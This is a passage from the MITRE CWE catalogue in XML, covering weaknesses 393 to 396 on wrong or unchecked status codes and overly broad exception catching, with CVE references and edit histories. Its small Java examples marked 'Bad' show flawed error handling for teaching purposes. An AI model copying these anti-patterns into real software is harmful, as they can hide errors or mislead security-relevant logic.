					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Modes_of_Introduction, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Missing Error Status Code</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-12-13">Failure to Report Error in Status Code</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="393" Name="Return of Wrong Status Code" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>A function or operation returns an incorrect return value or status code that does not indicate an error, but causes the product to modify its behavior based on the incorrect result.</Description>
         <Extended_Description>This can lead to unpredictable behavior. If the function is used to make security-critical decisions or provide security-critical information, then the wrong status code can cause the product to assume that an action is safe, even when it is not.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="684" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="703" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Unexpected State</Impact>
               <Impact>Alter Execution Logic</Impact>
               <Note>This weakness could place the system in a state that could lead unexpected logic to be executed or other unintended behaviors.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following example, an HTTP 404 status code is returned in the event of an IOException encountered in a Java servlet. A 404 code is typically meant to indicate a non-existent resource and would be somewhat misleading in this case.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>try {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// something that might throw IOException</xhtml:i>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>} catch (IOException ioe) {<xhtml:div style="margin-left:1em;">response.sendError(SC_NOT_FOUND);</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2003-1132</Reference>
               <Description>DNS server returns wrong response code for non-existent AAAA record, which effectively says that the domain is inaccessible.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1132</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1509</Reference>
               <Description>Hardware-specific implementation of system call causes incorrect results from geteuid.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1509</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1559</Reference>
               <Description>System call returns wrong value, leading to a resultant NULL dereference.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1559</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2014-1266</Reference>
               <Description>chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -&gt; CWE-561 (Dead Code) -&gt; CWE-295 (Improper Certificate Validation) -&gt; CWE-393 (Return of Wrong Status Code) -&gt; CWE-300 (Channel Accessible by Non-Endpoint).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2014-1266</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Wrong Status Code</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP6</Entry_ID>
               <Entry_Name>Incorrect Exception Behavior</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">This can be primary or resultant, but it is probably most often primary to other issues.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Wrong Status Code</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="394" Name="Unexpected Status Code or Return Value" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not properly check when a function or operation returns a value that is legitimate for the function, but is not expected by the product.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="754" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Unexpected State</Impact>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-1395</Reference>
               <Description>Certain packets (zero byte and other lengths) cause a recvfrom call to produce an unexpected return code that causes a server's listening loop to exit.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1395</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-2124</Reference>
               <Description>Unchecked return code from recv() leads to infinite loop.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2124</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2553</Reference>
               <Description>Kernel function does not properly handle when a null is returned by a function call, causing it to call another function that it shouldn't.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2553</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1858</Reference>
               <Description>Memory not properly cleared when read() function call returns fewer bytes than expected.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1858</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0536</Reference>
               <Description>Bypass access restrictions when connecting from IP whose DNS reverse lookup does not return a hostname.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0536</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0910</Reference>
               <Description>Bypass access restrictions when connecting from IP whose DNS reverse lookup does not return a hostname.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0910</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2371</Reference>
               <Description>Game server doesn't check return values for functions that handle text strings and associated size values.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2371</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1267</Reference>
               <Description>Resultant infinite loop when function call returns -1 value.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1267</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Unexpected Status Code or Return Value</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP4</Entry_ID>
               <Entry_Name>Unchecked Status Condition</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>EXP00-PL</Entry_ID>
               <Entry_Name>Do not return undef</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">Usually primary, but can be resultant from issues such as behavioral change or API abuse. This can produce resultant vulnerabilities.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="395" Name="Use of NullPointerException Catch to Detect NULL Pointer Dereference" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>Catching NullPointerException should not be used as an alternative to programmatic checks to prevent dereferencing a null pointer.</Description>
         <Extended_Description>
            <xhtml:p>Programmers typically catch NullPointerException under three circumstances:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>The program contains a null pointer dereference. Catching the resulting exception was easier than fixing the underlying problem.</xhtml:li>
                  <xhtml:li>The program explicitly throws a NullPointerException to signal an error condition.</xhtml:li>
                  <xhtml:li>The code is part of a test harness that supplies unexpected input to the classes under test.</xhtml:li>
               </xhtml:ul>
            <xhtml:p>Of these three circumstances, only the last is acceptable.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="705" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="755" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>Do not extensively rely on catching exceptions (especially for validating user input) to handle errors. Handling exceptions can decrease the performance of an application.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code mistakenly catches a NullPointerException.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>try {
				  <xhtml:div style="margin-left:1em;">
					mysteryMethod();
				  </xhtml:div>
				  } catch (NullPointerException npe) {<xhtml:br/>
                  }</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Catching NullPointerException</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>ERR08-J</Entry_ID>
               <Entry_Name>Do not catch NullPointerException or any of its ancestors</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Catch NullPointerException</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="396" Name="Declaration of Catch for Generic Exception" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.</Description>
         <Extended_Description>Multiple catch blocks can get ugly and repetitive, but "condensing" catch blocks by catching a high-level class like Exception can obscure exceptions that deserve special treatment or that should not be caught at this point in the program. Catching an overly broad exception essentially defeats the purpose of a language's typed exceptions, and can become particularly dangerous if the program grows and begins to throw new types of exceptions. The new exception types will not receive any attention.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="705" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="755" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="221" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="C#" Prevalence="Undetermined"/>
            <Language Name="Python" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Scope>Other</Scope>
               <Impact>Hide Activities</Impact>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code excerpt handles three types of exceptions in an identical fashion.</Intro_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>try {<xhtml:div style="margin-left:1em;">doExchange();</xhtml:div>}<xhtml:br/>catch (IOException e) {<xhtml:div style="margin-left:1em;">logger.error("doExchange failed", e);</xhtml:div>}<xhtml:br/>catch (InvocationTargetException e) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>logger.error("doExchange failed", e);</xhtml:div>
                     </xhtml:div>}<xhtml:br/>catch (SQLException e) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>logger.error("doExchange failed", e);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>At first blush, it may seem preferable to deal with these exceptions in a single catch block, as follows:</Body_Text>
               <Example_Code Nature="Bad">
                  <xhtml:div>try {<xhtml:div style="margin-left:1em;">doExchange();</xhtml:div>}<xhtml:br/>catch (Exception e) {<xhtml:div style="margin-left:1em;">logger.error("doExchange failed", e);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, if doExchange() is modified to throw a new type of exception that should be handled in some different kind of way, the broad catch block will prevent the compiler from pointing out the situation. Further, the new catch block will now also handle exceptions derived from RuntimeException such as ClassCastException, and NullPointerException, which is not the programmer's intent.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Overly-Broad Catch Block</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP5</Entry_ID>
               <Entry_Name>Ambiguous Exception Type</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-396</Entry_ID>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
                <Entry_ID>ASCRM-CWE-396</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 9: Catching Exceptions.&#34; Page 157"/>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-CWE-396"/>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-396"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
